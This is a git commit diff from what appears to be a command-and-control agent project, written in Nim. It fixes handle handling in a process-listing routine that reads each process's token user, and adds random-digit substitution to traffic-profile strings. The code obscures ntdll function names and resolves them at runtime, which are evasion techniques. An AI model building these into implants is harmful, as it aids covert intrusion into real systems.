Updated youtube video profile.

This commit is contained in:
Jakob Friedl
2025-11-12 19:50:57 +01:00
parent df8453bf1a
commit bb7ed24799
7 changed files with 29 additions and 13 deletions

View File

@@ -54,7 +54,7 @@ proc processList*(): Table[DWORD, ProcessInfo] =
# Take a snapshot of running processes
var sysProcessInfo = processSnapshot()
defer: LocalFree(cast[HLOCAL](sysProcessInfo))
let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
let pNtClose = cast[NtClose](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtClose")))
@@ -62,8 +62,8 @@ proc processList*(): Table[DWORD, ProcessInfo] =
while true:
var
status: NTSTATUS
hToken: HANDLE
hProcess: HANDLE
hToken: HANDLE = 0
hProcess: HANDLE = 0
oa: OBJECT_ATTRIBUTES
clientId: CLIENT_ID
@@ -90,9 +90,10 @@ proc processList*(): Table[DWORD, ProcessInfo] =
status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
if status == STATUS_SUCCESS and hToken != 0:
result[pid].user = hToken.getTokenUser().username
defer:
discard pNtClose(hToken)
else:
result[pid].user = ""
discard pNtClose(hProcess)
discard pNtClose(hToken)
# Move to next process
if sysProcessInfo.NextEntryOffset == 0:

File diff suppressed because one or more lines are too long

View File

@@ -24,6 +24,10 @@ proc randomChar(): char =
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return alphabet[rand(alphabet.len - 1)]
proc randomNumber(): char =
let numbers = "0123456789"
return numbers[rand(numbers.len - 1)]
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
@@ -39,7 +43,7 @@ proc getStringValue*(key: TomlValueRef, default: string = ""): string =
value = key.getElems().getRandom().getStr(default)
# Replace '#' with a random alphanumerical character and return the resulting string
return value.mapIt(if it == '#': randomChar() else: it).join("")
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
proc getString*(profile: Profile, path: string, default: string = ""): string =
let key = profile.findKey(path)

View File

@@ -49,7 +49,7 @@ when defined(agent):
try:
var processes: seq[DWORD] = @[]
var output: string = ""
var procMap = processList()
# Create child-parent process relationships